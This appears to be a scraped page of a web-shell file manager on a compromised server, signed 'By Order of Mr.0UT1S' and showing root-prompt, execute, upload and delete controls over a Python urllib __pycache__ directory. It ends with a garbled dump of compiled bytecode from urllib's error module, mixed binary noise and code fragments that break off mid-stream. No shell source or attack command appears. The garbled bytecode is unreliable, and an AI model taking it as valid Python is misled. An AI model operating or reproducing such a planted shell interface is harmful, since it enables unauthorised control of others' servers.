opt
/
alt
/
python310
/
lib64
/
python3.10
/
urllib
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
__init__.cpython-310.opt-1.pyc
147 bytes
Rename
Delete
__init__.cpython-310.opt-2.pyc
147 bytes
Rename
Delete
__init__.cpython-310.pyc
147 bytes
Rename
Delete
error.cpython-310.opt-1.pyc
2.80 KB
Rename
Delete
error.cpython-310.opt-2.pyc
2.15 KB
Rename
Delete
error.cpython-310.pyc
2.80 KB
Rename
Delete
parse.cpython-310.opt-1.pyc
33.76 KB
Rename
Delete
parse.cpython-310.opt-2.pyc
23.40 KB
Rename
Delete
parse.cpython-310.pyc
33.76 KB
Rename
Delete
request.cpython-310.opt-1.pyc
69.83 KB
Rename
Delete
request.cpython-310.opt-2.pyc
58.07 KB
Rename
Delete
request.cpython-310.pyc
69.92 KB
Rename
Delete
response.cpython-310.opt-1.pyc
3.40 KB
Rename
Delete
response.cpython-310.opt-2.pyc
2.86 KB
Rename
Delete
response.cpython-310.pyc
3.40 KB
Rename
Delete
robotparser.cpython-310.opt-1.pyc
7.18 KB
Rename
Delete
robotparser.cpython-310.opt-2.pyc
5.89 KB
Rename
Delete
robotparser.cpython-310.pyc
7.18 KB
Rename
Delete
o �?Ogo � @ sV d Z ddlZddlZg d�ZG dd� de�ZG dd� deejj�Z G dd � d e�Z dS ) a� Exception classes raised by urllib. The base exception class is URLError, which inherits from OSError. It doesn't define any behavior of its own, but is the base class for all exceptions defined in this package. HTTPError is an exception class that is also a valid HTTP response instance. It behaves this way because HTTP protocol errors are valid responses, with a status code, headers, and a body. In some contexts, an application may want to handle an exception like a regular response. � N)�URLError� HTTPError�ContentTooShortErrorc @ s e Zd Zddd�Zdd� ZdS )r Nc C s$ |f| _ || _|d ur|| _d S d S �N)�args�reason�filename)�selfr r � r �3/opt/alt/python310/lib64/python3.10/urllib/error.py�__init__ s �zURLError.__init__c C s d| j S )Nz<urlopen error %s>)r �r r r r �__str__ s zURLError.__str__r )�__name__� __module__�__qualname__r r r r r r r s r c @ sX e Zd ZdZejjjZdd� Zdd� Z dd� Z edd � �Zed d� �Z e jdd� �Z d S )r zBRaised when HTTP error occurs, but also acts like non-error returnc C sB || _ || _|| _|| _|| _|d u rt�� }| �||||� d S r )�code�msg�hdrs�fpr �io�BytesIO�_HTTPError__super_init)r Zurlr r r r r r r r '